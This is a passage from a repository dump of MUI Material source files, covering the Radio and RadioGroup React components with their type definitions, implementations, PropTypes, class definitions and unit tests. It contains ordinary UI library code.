component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning' | 'default',\n        RadioPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * The icon to display when the component is unchecked.\n   * @default <RadioButtonIcon />\n   */\n  icon?: React.ReactNode;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense radio styling.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', RadioPropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface RadioOwnerState extends Omit<RadioProps, 'slots' | 'slotProps'> {}\n\n/**\n *\n * Demos:\n *\n * - [Radio Group](https://next.mui.com/material-ui/react-radio-button/)\n *\n * API:\n *\n * - [Radio API](https://next.mui.com/material-ui/api/radio/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\nexport default function Radio(props: RadioProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Radio/Radio.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport SwitchBase from '../internal/SwitchBase';\nimport RadioButtonIcon from './RadioButtonIcon';\nimport capitalize from '../utils/capitalize';\nimport createChainedFunction from '../utils/createChainedFunction';\nimport useFormControl from '../FormControl/useFormControl';\nimport useRadioGroup from '../RadioGroup/useRadioGroup';\nimport radioClasses, { getRadioUtilityClass } from './radioClasses';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport useSlot from '../utils/useSlot';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, color, size } = ownerState;\n\n  const slots = {\n    root: ['root', `color${capitalize(color)}`, size !== 'medium' && `size${capitalize(size)}`],\n  };\n\n  return {\n    ...classes,\n    ...composeClasses(slots, getRadioUtilityClass, classes),\n  };\n};\n\nconst RadioRoot = styled(SwitchBase, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiRadio',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.size !== 'medium' && styles[`size${capitalize(ownerState.size)}`],\n      styles[`color${capitalize(ownerState.color)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    color: (theme.vars || theme).palette.text.secondary,\n    [`&.${radioClasses.disabled}`]: {\n      color: (theme.vars || theme).palette.action.disabled,\n    },\n    variants: [\n      {\n        props: { color: 'default', disabled: false, disableRipple: false },\n        style: {\n          '&:hover': {\n            backgroundColor: theme.alpha(\n              (theme.vars || theme).palette.action.active,\n              (theme.vars || theme).palette.action.hoverOpacity,\n            ),\n          },\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color, disabled: false, disableRipple: false },\n          style: {\n            '&:hover': {\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette[color].main,\n                (theme.vars || theme).palette.action.hoverOpacity,\n              ),\n            },\n          },\n        })),\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color, disabled: false },\n          style: {\n            [`&.${radioClasses.checked}`]: {\n              color: (theme.vars || theme).palette[color].main,\n            },\n          },\n        })),\n      {\n        // Should be last to override other colors\n        props: { disableRipple: false },\n        style: {\n          // Reset on touch devices, it doesn't add specificity\n          '&:hover': {\n            '@media (hover: none)': {\n              backgroundColor: 'transparent',\n            },\n          },\n        },\n      },\n    ],\n  })),\n);\n\nfunction areEqualValues(a, b) {\n  if (typeof b === 'object' && b !== null) {\n    return a === b;\n  }\n\n  // The value could be a number, the DOM will stringify it anyway.\n  return String(a) === String(b);\n}\n\nconst defaultCheckedIcon = <RadioButtonIcon checked />;\nconst defaultIcon = <RadioButtonIcon />;\n\nconst Radio = React.forwardRef(function Radio(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiRadio' });\n  const {\n    checked: checkedProp,\n    checkedIcon = defaultCheckedIcon,\n    color = 'primary',\n    icon = defaultIcon,\n    name: nameProp,\n    onChange: onChangeProp,\n    size = 'medium',\n    className,\n    disabled: disabledProp,\n    disableRipple = false,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl();\n\n  let disabled = disabledProp;\n\n  if (muiFormControl) {\n    if (typeof disabled === 'undefined') {\n      disabled = muiFormControl.disabled;\n    }\n  }\n\n  disabled ??= false;\n\n  const ownerState = {\n    ...props,\n    disabled,\n    disableRipple,\n    color,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n  const radioGroup = useRadioGroup();\n\n  let checked = checkedProp;\n  const onChange = createChainedFunction(onChangeProp, radioGroup && radioGroup.onChange);\n  let name = nameProp;\n\n  if (radioGroup) {\n    if (typeof checked === 'undefined') {\n      checked = areEqualValues(radioGroup.value, props.value);\n    }\n    if (typeof name === 'undefined') {\n      name = radioGroup.name;\n    }\n  }\n\n  const externalInputProps = slotProps.input;\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    elementType: RadioRoot,\n    className: clsx(classes.root, className),\n    shouldForwardComponentProp: true,\n    externalForwardedProps: {\n      slots,\n      slotProps,\n      ...other,\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onChange: (event, ...args) => {\n        handlers.onChange?.(event, ...args);\n        onChange(event, ...args);\n      },\n    }),\n    ownerState,\n    additionalProps: {\n      type: 'radio',\n      icon: React.cloneElement(icon, { fontSize: icon.props.fontSize ?? size }),\n      checkedIcon: React.cloneElement(checkedIcon, {\n        fontSize: checkedIcon.props.fontSize ?? size,\n      }),\n      disabled,\n      name,\n      checked,\n      slots,\n      slotProps: {\n        // Do not forward `slotProps.root` again because it's already handled by the `RootSlot` in this file.\n        input:\n          typeof externalInputProps === 'function'\n            ? externalInputProps(ownerState)\n            : externalInputProps,\n      },\n    },\n  });\n\n  return <RootSlot {...rootSlotProps} classes={classes} />;\n});\n\nRadio.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the component is checked.\n   */\n  checked: PropTypes.bool,\n  /**\n   * The icon to display when the component is checked.\n   * @default <RadioButtonIcon checked />\n   */\n  checkedIcon: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['default', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * The icon to display when the component is unchecked.\n   * @default <RadioButtonIcon />\n   */\n  icon: PropTypes.node,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * Name attribute of the `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange: PropTypes.func,\n  /**\n   * If `true`, the `input` element is required.\n   * @default false\n   */\n  required: PropTypes.bool,\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense radio styling.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the component. The DOM API casts this to a string.\n   */\n  value: PropTypes.any,\n};\n\nexport default Radio;\n"
  },
  {
    "path": "packages/mui-material/src/Radio/Radio.spec.tsx",
    "content": "import Radio from '@mui/material/Radio';\nimport { expectType } from '@mui/types';\n\n<Radio\n  slots={{\n    root: 'div',\n    input: 'input',\n  }}\n  slotProps={{\n    root: {\n      className: 'root',\n      disableRipple: true,\n      hidden: true,\n    },\n    input: {\n      ref: (elm) => {\n        expectType<HTMLInputElement | null, typeof elm>(elm);\n      },\n      'aria-label': 'Radio',\n      className: 'input',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Radio/Radio.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport Radio, { radioClasses as classes } from '@mui/material/Radio';\nimport FormControl from '@mui/material/FormControl';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport switchBaseClasses from '../internal/switchBaseClasses';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Radio />', () => {\n  const { render } = createRenderer();\n\n  function CustomRoot({ checkedIcon, ownerState, disableRipple, slots, slotProps, ...props }) {\n    return <div {...props} />;\n  }\n\n  describeConformance(<Radio />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiRadio',\n    testVariantProps: { color: 'secondary' },\n    refInstanceof: window.HTMLSpanElement,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithElement: CustomRoot,\n      },\n      input: {\n        expectedClassName: switchBaseClasses.input,\n      },\n    },\n    skip: ['componentProp'],\n  }));\n\n  describe('styleSheet', () => {\n    it('should have the classes required for SwitchBase', () => {\n      expect(typeof classes.root).to.equal('string');\n      expect(typeof classes.checked).to.equal('string');\n      expect(typeof classes.disabled).to.equal('string');\n    });\n  });\n\n  describe('prop: unchecked', () => {\n    it('should render an unchecked icon', () => {\n      render(<Radio />);\n      expect(screen.getAllByTestId('RadioButtonUncheckedIcon').length).to.equal(1);\n    });\n  });\n\n  describe('prop: checked', () => {\n    it('should render a checked icon', () => {\n      render(<Radio checked />);\n      expect(screen.getAllByTestId('RadioButtonCheckedIcon').length).to.equal(1);\n    });\n  });\n\n  describe('prop: size', () => {\n    it('add sizeSmall class to the root element when the size prop equals \"small\"', () => {\n      render(<Radio size=\"small\" />);\n      const radio = screen.getByRole('radio');\n      const root = radio.parentElement;\n      expect(root).to.have.class(classes.sizeSmall);\n    });\n  });\n\n  describe('with FormControl', () => {\n    describe('enabled', () => {\n      it('should not have the disabled class', () => {\n        render(\n          <FormControl>\n            <Radio />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('radio')).not.to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl>\n            <Radio disabled />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('radio')).to.have.attribute('disabled');\n      });\n    });\n\n    describe('disabled', () => {\n      it('should have the disabled class', () => {\n        render(\n          <FormControl disabled>\n            <Radio />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('radio')).to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl disabled>\n            <Radio disabled={false} />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('radio')).not.to.have.attribute('disabled');\n      });\n    });\n  });\n\n  describe('theme: customization', () => {\n    it.skipIf(isJsdom())(\n      'should be customizable in the theme using the size prop.',\n      function test() {\n        const theme = createTheme({\n          components: {\n            MuiRadio: {\n              styleOverrides: {\n                sizeSmall: {\n                  marginLeft: -40,\n                  paddingRight: 2,\n                },\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <Radio size=\"small\" />\n          </ThemeProvider>,\n        );\n\n        expect(container.querySelector(`.${classes.sizeSmall}`)).toHaveComputedStyle({\n          marginLeft: '-40px',\n          paddingRight: '2px',\n        });\n      },\n    );\n  });\n\n  it('should pass slotProps.input to the input element', () => {\n    render(<Radio slotProps={{ input: { 'aria-label': 'A' } }} />);\n\n    expect(screen.queryByRole('radio', { name: 'A' })).not.to.equal(null);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Radio/RadioButtonIcon.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport RadioButtonUncheckedIcon from '../internal/svg-icons/RadioButtonUnchecked';\nimport RadioButtonCheckedIcon from '../internal/svg-icons/RadioButtonChecked';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\n\nconst RadioButtonIconRoot = styled('span', {\n  name: 'MuiRadioButtonIcon',\n  shouldForwardProp: rootShouldForwardProp,\n})({\n  position: 'relative',\n  display: 'flex',\n});\n\nconst RadioButtonIconBackground = styled(RadioButtonUncheckedIcon, {\n  name: 'MuiRadioButtonIcon',\n})({\n  // Scale applied to prevent dot misalignment in Safari\n  transform: 'scale(1)',\n});\n\nconst RadioButtonIconDot = styled(RadioButtonCheckedIcon, {\n  name: 'MuiRadioButtonIcon',\n})(\n  memoTheme(({ theme }) => ({\n    left: 0,\n    position: 'absolute',\n    transform: 'scale(0)',\n    transition: theme.transitions.create('transform', {\n      easing: theme.transitions.easing.easeIn,\n      duration: theme.transitions.duration.shortest,\n    }),\n    variants: [\n      {\n        props: { checked: true },\n        style: {\n          transform: 'scale(1)',\n          transition: theme.transitions.create('transform', {\n            easing: theme.transitions.easing.easeOut,\n            duration: theme.transitions.duration.shortest,\n          }),\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * @ignore - internal component.\n */\nfunction RadioButtonIcon(props) {\n  const { checked = false, classes = {}, fontSize } = props;\n\n  const ownerState = { ...props, checked };\n\n  return (\n    <RadioButtonIconRoot className={classes.root} ownerState={ownerState}>\n      <RadioButtonIconBackground\n        fontSize={fontSize}\n        className={classes.background}\n        ownerState={ownerState}\n      />\n      <RadioButtonIconDot fontSize={fontSize} className={classes.dot} ownerState={ownerState} />\n    </RadioButtonIconRoot>\n  );\n}\n\nRadioButtonIcon.propTypes /* remove-proptypes */ = {\n  /**\n   * If `true`, the component is checked.\n   */\n  checked: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense radio styling.\n   */\n  fontSize: PropTypes.oneOf(['small', 'medium']),\n};\n\nexport default RadioButtonIcon;\n"
  },
  {
    "path": "packages/mui-material/src/Radio/index.d.ts",
    "content": "export { default } from './Radio';\nexport * from './Radio';\n\nexport { default as radioClasses } from './radioClasses';\nexport * from './radioClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Radio/index.js",
    "content": "export { default } from './Radio';\n\nexport { default as radioClasses } from './radioClasses';\nexport * from './radioClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Radio/radioClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface RadioClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `checked={true}`. */\n  checked: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n}\n\nexport type RadioClassKey = keyof RadioClasses;\n\nexport function getRadioUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiRadio', slot);\n}\n\nconst radioClasses: RadioClasses = generateUtilityClasses('MuiRadio', [\n  'root',\n  'checked',\n  'disabled',\n  'colorPrimary',\n  'colorSecondary',\n  'sizeSmall',\n]);\n\nexport default radioClasses;\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/RadioGroup.d.ts",
    "content": "import * as React from 'react';\nimport { FormGroupProps } from '../FormGroup';\n\nexport interface RadioGroupProps extends Omit<FormGroupProps, 'onChange'> {\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue?: any;\n  /**\n   * The name used to reference the value of the control.\n   * If you don't provide this prop, it falls back to a randomly generated name.\n   */\n  name?: string | undefined;\n  /**\n   * Callback fired when a radio button is selected.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * @param {string} value The value of the selected radio button.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange?: ((event: React.ChangeEvent<HTMLInputElement>, value: string) => void) | undefined;\n  /**\n   * Value of the selected radio button. The DOM API casts this to a string.\n   */\n  value?: any;\n}\n\n/**\n *\n * Demos:\n *\n * - [Radio Group](https://next.mui.com/material-ui/react-radio-button/)\n *\n * API:\n *\n * - [RadioGroup API](https://next.mui.com/material-ui/api/radio-group/)\n * - inherits [FormGroup API](https://next.mui.com/material-ui/api/form-group/)\n */\nexport default function RadioGroup(props: RadioGroupProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/RadioGroup.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport FormGroup from '../FormGroup';\nimport { getRadioGroupUtilityClass } from './radioGroupClasses';\nimport useForkRef from '../utils/useForkRef';\nimport useControlled from '../utils/useControlled';\nimport RadioGroupContext from './RadioGroupContext';\nimport useId from '../utils/useId';\n\nconst useUtilityClasses = (props) => {\n  const { classes, row, error } = props;\n\n  const slots = {\n    root: ['root', row && 'row', error && 'error'],\n  };\n\n  return composeClasses(slots, getRadioGroupUtilityClass, classes);\n};\n\nconst RadioGroup = React.forwardRef(function RadioGroup(props, ref) {\n  const {\n    // private\n    // eslint-disable-next-line react/prop-types\n    actions,\n    children,\n    className,\n    defaultValue,\n    name: nameProp,\n    onChange,\n    value: valueProp,\n    ...other\n  } = props;\n  const rootRef = React.useRef(null);\n\n  const classes = useUtilityClasses(props);\n\n  const [value, setValueState] = useControlled({\n    controlled: valueProp,\n    default: defaultValue,\n    name: 'RadioGroup',\n  });\n\n  React.useImperativeHandle(\n    actions,\n    () => ({\n      focus: () => {\n        let input = rootRef.current.querySelector('input:not(:disabled):checked');\n\n        if (!input) {\n          input = rootRef.current.querySelector('input:not(:disabled)');\n        }\n\n        if (input) {\n          input.focus();\n        }\n      },\n    }),\n    [],\n  );\n\n  const handleRef = useForkRef(ref, rootRef);\n\n  const name = useId(nameProp);\n\n  const contextValue = React.useMemo(\n    () => ({\n      name,\n      onChange(event) {\n        setValueState(event.target.value);\n\n        if (onChange) {\n          onChange(event, event.target.value);\n        }\n      },\n      value,\n    }),\n    [name, onChange, setValueState, value],\n  );\n\n  return (\n    <RadioGroupContext.Provider value={contextValue}>\n      <FormGroup\n        role=\"radiogroup\"\n        ref={handleRef}\n        className={clsx(classes.root, className)}\n        {...other}\n      >\n        {children}\n      </FormGroup>\n    </RadioGroupContext.Provider>\n  );\n});\n\nRadioGroup.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * The name used to reference the value of the control.\n   * If you don't provide this prop, it falls back to a randomly generated name.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when a radio button is selected.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * @param {string} value The value of the selected radio button.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * Value of the selected radio button. The DOM API casts this to a string.\n   */\n  value: PropTypes.any,\n};\n\nexport default RadioGroup;\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/RadioGroup.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport PropTypes from 'prop-types';\nimport { act, createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport FormGroup from '@mui/material/FormGroup';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup, { useRadioGroup, radioGroupClasses as classes } from '@mui/material/RadioGroup';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<RadioGroup />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<RadioGroup value=\"\" />, () => ({\n    render,\n    classes: {},\n    inheritComponent: FormGroup,\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n  }));\n\n  it('the root component has the radiogroup role', () => {\n    const { container } = render(<RadioGroup value=\"\" />);\n\n    expect(container.firstChild).to.have.attribute('role', 'radiogroup');\n  });\n\n  it('should fire the onBlur callback', () => {\n    const handleBlur = spy();\n    const { container } = render(<RadioGroup value=\"\" onBlur={handleBlur} />);\n\n    fireEvent.blur(container.firstChild);\n\n    expect(handleBlur.callCount).to.equal(1);\n  });\n\n  it('should fire the onKeyDown callback', () => {\n    const handleKeyDown = spy();\n    render(<RadioGroup tabIndex={-1} value=\"\" onKeyDown={handleKeyDown} />);\n    const radiogroup = screen.getByRole('radiogroup');\n\n    act(() => {\n      radiogroup.focus();\n    });\n\n    fireEvent.keyDown(radiogroup);\n\n    expect(handleKeyDown.callCount).to.equal(1);\n  });\n\n  it('should support uncontrolled mode', () => {\n    render(\n      <RadioGroup name=\"group\">\n        <Radio value=\"one\" />\n      </RadioGroup>,\n    );\n\n    const radio = screen.getByRole('radio');\n\n    fireEvent.click(radio);\n\n    expect(radio.checked).to.equal(true);\n  });\n\n  it('should support default value in uncontrolled mode', () => {\n    render(\n      <RadioGroup name=\"group\" defaultValue=\"zero\">\n        <Radio value=\"zero\" />\n        <Radio value=\"one\" />\n      </RadioGroup>,\n    );\n\n    const radios = screen.getAllByRole('radio');\n\n    expect(radios[0].checked).to.equal(true);\n\n    fireEvent.click(radios[1]);\n\n    expect(radios[1].checked).to.equal(true);\n  });\n\n  it('should have a default name', () => {\n    render(\n      <RadioGroup>\n        <Radio value=\"zero\" />\n        <Radio value=\"one\" />\n      </RadioGroup>,\n    );\n\n    const [arbitraryRadio, ...radios] = screen.getAllByRole('radio');\n    // `name` **property** will always be a string even if the **attribute** is omitted\n    expect(arbitraryRadio.name).not.to.equal('');\n    // all input[type=\"radio\"] have the same name\n    expect(new Set(radios.map((radio) => radio.name))).to.have.length(1);\n  });\n\n  it('should support number value', () => {\n    render(\n      <RadioGroup name=\"group\" defaultValue={1}>\n        <Radio value={1} />\n        <Radio value={2} />\n      </RadioGroup>,\n    );\n\n    const radios = screen.getAllByRole('radio');\n    expect(radios[0]).to.have.attribute('value', '1');\n    expect(radios[0].checked).to.equal(true);\n    expect(radios[1].checked).to.equal(false);\n\n    fireEvent.click(radios[1]);\n\n    expect(radios[0].checked).to.equal(false);\n    expect(radios[1].checked).to.equal(true);\n  });\n\n  describe('imperative focus()', () => {\n    it('should focus the first non-disabled radio', async () => {\n      const actionsRef = React.createRef();\n      const oneRadioOnFocus = spy();\n\n      render(\n        <RadioGroup actions={actionsRef} value=\"\">\n          <Radio value=\"zero\" disabled />\n          <Radio value=\"one\" onFocus={oneRadioOnFocus} />\n          <Radio value=\"two\" />\n        </RadioGroup>,\n      );\n\n      await act(async () => {\n        actionsRef.current.focus();\n      });\n\n      expect(oneRadioOnFocus.callCount).to.equal(1);\n    });\n\n    it('should not focus any radios if all are disabled', () => {\n      const actionsRef = React.createRef();\n      const zeroRadioOnFocus = spy();\n      const oneRadioOnFocus = spy();\n      const twoRadioOnFocus = spy();\n\n      render(\n        <RadioGroup actions={actionsRef} value=\"\">\n          <Radio value=\"zero\" disabled onFocus={zeroRadioOnFocus} />\n          <Radio value=\"one\" disabled onFocus={oneRadioOnFocus} />\n          <Radio value=\"two\" disabled onFocus={twoRadioOnFocus} />\n        </RadioGroup>,\n      );\n\n      act(() => {\n        actionsRef.current.focus();\n      });\n\n      expect(zeroRadioOnFocus.callCount).to.equal(0);\n      expect(oneRadioOnFocus.callCount).to.equal(0);\n      expect(twoRadioOnFocus.callCount).to.equal(0);\n    });\n\n    it('should focus the selected radio', async () => {\n      const actionsRef = React.createRef();\n      const twoRadioOnFocus = spy();\n\n      render(\n        <RadioGroup actions={actionsRef} value=\"two\">\n          <Radio value=\"zero\" disabled />\n          <Radio value=\"one\" />\n          <Radio value=\"two\" onFocus={twoRadioOnFocus} />\n          <Radio value=\"three\" />\n        </RadioGroup>,\n      );\n\n      await act(async () => {\n        actionsRef.current.focus();\n      });\n\n      expect(twoRadioOnFocus.callCount).to.equal(1);\n    });\n\n    it('should focus the non-disabled radio rather than the disabled selected radio', async () => {\n      const actionsRef = React.createRef();\n      const threeRadioOnFocus = spy();\n\n      render(\n        <RadioGroup actions={actionsRef} value=\"two\">\n          <Radio value=\"zero\" disabled />\n          <Radio value=\"one\" disabled />\n          <Radio value=\"two\" disabled />\n          <Radio value=\"three\" onFocus={threeRadioOnFocus} />\n        </RadioGroup>,\n      );\n\n      await act(async () => {\n        actionsRef.current.focus();\n      });\n\n      const radios = screen.getAllByRole('radio');\n\n      expect(radios[0]).not.toHaveFocus();\n      expect(radios[1]).not.toHaveFocus();\n      expect(radios[2]).not.toHaveFocus();\n      expect(radios[3]).toHaveFocus();\n      expect(threeRadioOnFocus.callCount).to.equal(1);\n    });\n\n    it('should be able to focus with no radios', () => {\n      const actionsRef = React.createRef();\n      render(<RadioGroup actions={actionsRef} value=\"\" />);\n\n      act(() => {\n        actionsRef.current.focus();\n      });\n    });\n  });\n\n  it('should accept invalid child', () => {\n    render(\n      <RadioGroup value=\"\">\n        <Radio />\n        {null}\n      </RadioGroup>,\n    );\n  });\n\n  describe('prop: onChange', () => {\n    it('should fire onChange', () => {\n      const handleChange = spy();\n\n      render(\n        <RadioGroup value=\"\" onChange={handleChange}>\n          <Radio value=\"woofRadioGroup\" />\n          <Radio />\n        </RadioGroup>,\n      );\n\n      const radios = screen.getAllByRole('radio');\n\n      fireEvent.click(radios[0]);\n\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('should chain the onChange property', () => {\n      const handleChange1 = spy();\n      const handleChange2 = spy();\n\n      render(\n        <RadioGroup value=\"\" onChange={handleChange1}>\n          <Radio value=\"woofRadioGroup\" onChange={handleChange2} />\n          <Radio />\n        </RadioGroup>,\n      );\n\n      const radios = screen.getAllByRole('radio');\n\n      fireEvent.click(radios[0]);\n\n      expect(handleChange1.callCount).to.equal(1);\n      expect(handleChange2.callCount).to.equal(1);\n    });\n\n    describe('with non-string values', () => {\n      it('passes the value of the selected Radio as a string', () => {\n        function Test(props) {\n          const { values, ...other } = props;\n          return (\n            <RadioGroup {...other}>\n              {values.map((value) => {\n                return <Radio key={value.id} value={value} />;\n              })}\n            </RadioGroup>\n          );\n        }\n        Test.propTypes = {\n          values: PropTypes.arrayOf(PropTypes.shape({ id: PropTypes.number.isRequired })),\n        };\n\n        const values = [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }];\n        const handleChange = spy();\n\n        render(<Test onChange={handleChange} value={values[1]} values={values} />);\n\n        const radios = screen.getAllByRole('radio');\n\n        expect(radios[0].checked).to.equal(false);\n        expect(radios[1].checked).to.equal(true);\n\n        fireEvent.click(radios[0]);\n\n        // on updates, however, we compare against event.target.value\n        // object information is lost on stringification.\n        expect(radios[0].checked).to.equal(false);\n        expect(radios[1].checked).to.equal(true);\n        expect(handleChange.firstCall.args[1]).to.equal('[object Object]');\n      });\n    });\n  });\n\n  describe('useRadioGroup', () => {\n    describe('from props', () => {\n      const MinimalRadio = React.forwardRef(function MinimalRadio(_, ref) {\n        const radioGroup = useRadioGroup();\n        return <input {...radioGroup} ref={ref} type=\"radio\" />;\n      });\n\n      const RadioGroupControlled = React.forwardRef(function RadioGroupControlled(props, ref) {\n        return (\n          <RadioGroup {...props}>\n            <MinimalRadio ref={ref} />\n          </RadioGroup>\n        );\n      });\n\n      it('should have the name prop from the instance', () => {\n        const radioGroupRef = React.createRef();\n        const { setProps } = 